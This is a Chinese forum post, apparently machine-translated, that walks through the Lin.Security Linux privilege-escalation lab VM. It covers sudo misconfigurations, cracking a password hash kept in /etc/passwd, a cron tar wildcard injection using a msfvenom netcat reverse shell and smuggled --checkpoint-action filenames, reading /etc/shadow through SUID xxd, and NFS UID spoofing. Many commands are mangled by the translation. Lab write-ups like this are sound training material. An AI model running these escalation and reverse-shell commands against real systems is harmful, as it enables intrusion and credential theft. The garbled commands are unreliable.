H

in.security 提权靶场

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

in.security 提权靶场​

20191031092159.png-water_print

Lin.Security范围是导致Linux配置问题引起的特权升级的范围。它基于Ubuntu(18.04 LTS)Linux虚拟机。 Range为我们提供了有关Linux权限的相关知识的许多特权升级漏洞。以下是此范围的下载链接:
射击范围的较低许可:Bob:秒
查看当前用户的权限:whoami,id
查看系统的发行版本和内核版本:LSB_RELEASE -A,UNAME -A

1 linux 下的权限划分​

1.1 用户和组​

用户组在Linux系统上起着重要的作用,并为选定的用户提供了一种简单的方式来共享文件。它们还使系统管理员能够更有效地管理用户权限,因为他们可以将权限分配给组而不是单个用户。
Linux用户分为管理员和普通用户,普通用户分为系统用户和自定义用户。
系统管理员:也就是说,根帐户,UID号为0,并且具有所有系统权限。它类似于Windows系统中的管理员帐户,并且是整个系统的所有者。
系统用户:Linux是一个内置在其自身系统管理中的帐户。它通常是在安装过程中自动创建的,不能用于登录操作系统。 UID在1-499之间(CentOS 7在1-999之间)。像SSHD,Pulse等的用户是上述用户。它与Windows中的系统帐户相似,当然,权限远远低于系统帐户。
自定义用户:root管理员创建一个帐户,以便用户登录到系统进行操作。 UID高于500(CentOS7高于1000)。它类似于Windows系统上的用户用户组中的帐户。
Linux中的每个用户都必须属于一个组,并且不能独立于组。在Linux中,每个文件都有所有者,组或其他组的概念。同样,我们可以查看/etc /group中用户组的信息

1.2 /etc/passwd 文件​

在Linux的/etc /passWD文件中,每个用户都有相应的记录行,该记录行记录了此用户的一些基本属性。系统管理员通常会经历此文件的修改以完成用户的管理。
将帐户添加到Linux系统:userAdd -G组-d/home/to/user -m用户名
20191031101512.png-water_print

字段含义:
20191031101745.png-water_print

1.3 /etc/shadow 文件​

20191031102803.png-water_print

字段含义:
用户名:加密密码(!表示没有密码):最后修改时间:最小修改时间间隔:密码有效性周期:密码需要更改之前的警告天:宽限期:端口后:帐户到期时间:预订场:预订场。
加密的密码具有固定格式:$ ID $盐$加密
ID代表加密算法,1代表MD5,5代表SHA-256,6代表SHA-512
盐是盐值,并且系统随机生成
加密表示密码的哈希值

1.4 文件权限​

在Linux系统中,所有内容都是一个文件,包括普通文件,目录,设备,插座等。
20191031103535.png-water_print

RWX的目录许可
R:表示您有权读取目录结构列表,这意味着您可以在目录中查询文件名数据。那是LS
W:意味着您可以在此文件夹下添加,删除,重命名,复制,剪切文件或目录。
X:指示用户是否可以输入目录并成为工作目录(当没有X许可时,但是W许可,也不可能将文件写入文件)

1.5 特殊权限​

SUID
执行文件时,它将切换到所有者的权限执行
sgid
执行此文件后,它将切换到所有组的权限
SBIT
只有您和管理员可以操作当前文件
20191031105116.png-water_print

2 sudo 权限配置不当提权​

Sudo实际上是一个非常普遍的命令。 sudo的权限是根。只有超级用户才能执行的命令才能执行普通用户。这里的命令是指系统命令。对于Linux,所有内容都是文件,因此系统命令也是文件。
一般而言,当管理员需要用户执行root权限命令时,他将配置sudo。具体来说,修改/etc /sudoers文件。但是,普通用户实际上查看和操作此文件,他们只能检查他们是否配置了Sudo权限。普通用户可以使用sudo -L命令检查他们是否具有sudo配置。
20191031093053.png-water_print

BOB用户可以执行许多命令,并且使用这些命令可以简单直接升级到根本权限。

2.1 /bin/ash​

20191031093521.png-water_print

2.2 /usr/bin/awk​

查看密码文件/etc /shadow
20191031094733.png-water_print

2.3 /usr/bin/curl​

20191031095628.png-water_print

2.4 /usr/bin/find​

获取外壳
寻找。 -Exec /bin /sh \; -辞职
20191031095809.png-water_print

可以发现,即使给出了search命令,只要我们可以巧妙地使用这些命令执行,就可以将其提高为root权限。由于空间的限制,我们将不会提供任何使用所有命令的方法。我们可以参考资源
20191031095414.png-water_print

3 /etc/passwd的哈希​

Linux的用户密码哈希存储在/etc /Shadow文件中,普通用户无法查看。普通用户可以查看的是/etc /passWD文件。如果我们查看/etc /passWD,我们通常会看到以下内容:
1
root:x3:0:0:Root:/root:/bin/bash
如果有帐户的第二列是密码哈希,则列是x,则表示密码哈希存储在/etc /shadow文件上。在lin.security虚拟机上,您可以看到一个像不安全感的帐户,并且该帐户的UID和GID为0。使用Johnny或Hash-Identifier将表示为Descrypt,然后可以破解。
20191031100550.png-water_print

通过查询,您可以获取密码P@ssw0rd11。
20191031100710.png-water_print

20191031100948.png-water_print

4 利用定时任务cron以及通配符​

20191031101109.png-water_print

每1分钟定期执行/etc/cron.daily/backup文件。
20191031101427.png-water_print

这涉及使用通配符执行本地Linux特权升高。我们需要开设另一个BOB SSH会话。
使用MSFVENOM生成NC反弹句,该命令如下:
-p:有效载荷
R:原始数据
1
2
3
4
5
6
root@kali:〜#msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 r
[ - ]未选择平台,选择MSF:MODULE3:PLATFORM3:UNIX从有效载荷
[ - ]未选择拱门,从有效载荷中选择Arch: CMD
没有指定的编码器或Badchars,输出原始有效载荷
有效载荷尺寸: 91字节
mkfifo /tmp /kuhdq; NC 127.0.0.1 8888 0/tmp/kuhdq | /bin/sh/tmp/kuhdq 21; RM /TMP /KUHDQ
然后单独执行:
1
2
3
Bob@linsecurity:〜 $ echo'mkfifo /tmp /kuhdq; NC 127.0.0.1 8888 0/tmp/kuhdq | /bin/sh/tmp/kuhdq 21; rm /tmp /kuhdq'shell.sh chmod +x shell.sh
bob@linsecurity:〜 $ echo''' - checkpoint-action=exec=sh shell.sh'
bob@linsecurity:〜 $ echo'' - checkpoint=1
我们在另一个会话终端启用NC聆听:
1
NC -LVNP 8888
–checkpoint [=number]显示每个数字记录的进度消息(默认为10)
- checkpoint-action=操作在每个检查点上执行操作(检查点)
这里的-CheckPoint-Action选项指定检查点到达时要执行的程序,这将使我们能够运行任意命令。因此,将选项-CheckPoint=1和-CheckPoint-Action=exec=Sh shell.sh作为命令行选项将tar程序移交给tar程序。

5 利用隐藏文件​

有时隐藏的文件会存储一些重要的信息,例如搜索主目录中的所有隐藏文件并使用LS -AL显示它们。
1
查找/-name'。'-type f -path'/home/'-exec ls -al {} \; 2/dev/null
20191031105051.png-water_print

我发现用户苏珊(Susan)有一个隐藏的文件,并发现用户苏珊(Susan)的登录密码已存储。
20191031105152.png-water_print

6 利用 SUID​

6.1 方案一​

SUID这是UID +S的组合,是指特殊权限。一般而言,用户的权限是3位数字,例如0755。未配置默认的特殊权限,但是如果超级管理员希望用户在执行某些特殊许可文件时具有根本权限,他们将配置特殊权限。
例如,passWD命令将修改/etc /shadow文件,而/etc /shadow只能通过root修改。最初,PASSWD命令应仅由root执行。但是,为了允许普通用户修改其密码,系统为PASTWD命令提供了特殊的权限,并添加了只能修改其密码的限制。
20191031105347.png-water_print

由于PASTWD命令受到限制,因此授予特殊许可没有问题,但是如果超级用户的系统特殊许可被不分青睐,它将导致提高权利的问题。
那么,我们如何找出系统中是否有特殊的权限配置文件?您可以使用以下命令快速找到所有SUID文件:
1
查找/-perm -4000 -type f -exec ls -la {} 2/dev/null \;
我们找到了以下文件xxd。该文件实际上是一个命令文件。 XXD的功能是以十六进制形式显示文件。他配置了特殊权限,用户组是具有执行权限x的服务。
20191031105638.png-water_print

这是非常危险的,一旦SUID和执行权限在一起,它可能会导致允许的高程。
我们检查了该命令,发现用户Susan属于用户组服务。
我们使用它来查看/etc /shadow文件。有关更多用法方法,请参阅https://gtfobins.github.io/GTFOBINS/XXD/。
1
xxd'/etc/shadow'| xxd -r
20191031110243.png-water_print

注意:查找/dir -exec'命令'具有提升功率的相同效果。

6.2 方案二​

除了上述文件外,还发现了具有执行权限的其他角色的文件。该文件不仅限于用户,因此更有害。
20191031110406.png-water_print

请参阅https://gtfobins.github.io/GTFOBINS/TASKSETSET/#SUID-ENABLED,您可以发现此文件可以直接获得Shell。
20191031110657.png-water_print

7 NFS 提权​

nmap扫描要查看开放服务的端口:nmap -ss -pn -p-p- -a ip
20191031113629.png-water_print

请参阅开放端口2049,NFS服务。您还可以使用RPINFO -P IP命令来确定NFS服务是在主机上运行还是安装在主机上。
20191031114151.png-water_print

当ShowMount命令与以下参数一起使用时,可以执行信息收集:例如:
安装点
连接的主机
目录
1
2
3
ShowMount IP //连接的主机
ShowMount -D IP //目录
ShowMount -A IP //安装点
MSF中还有一个模块,可用于列出导出文件夹:辅助/扫描仪/nfs/nfsmount。
20191031114459.png-water_print

帐户的主目录可以安装:
1
2
mkdir /mnt /peter
坐骑192.168.68.99:/home/home/peter/mnt/peter/
已安装的彼得主目录,显示文件的所有者和组分别为1001和1005
20191031115226.png-water_print

尝试在此目录中创建文件,发现权限不足。
即使我们是卡利攻击机上的根用户,我们仍然没有写入权限,因为默认情况下,客户端的根身份将被积极地压缩为匿名。
您可以伪造文件所有者的UID和GID来欺骗NFS服务器,创建具有GID 1005的用户组,然后创建一个用UID指定为1001的Peter帐户,并指定为1005。
20191031115413.png-water_print

将客户用户切换到彼得,服务器还认为它是现有用户。
20191031115618.png-water_print

您可以将公共密钥直接写入.ssh文件夹,然后使用SSH直接登录。

8 利用 docker 组提权​

可以发现彼得属于Docker Group:
 
后退
顶部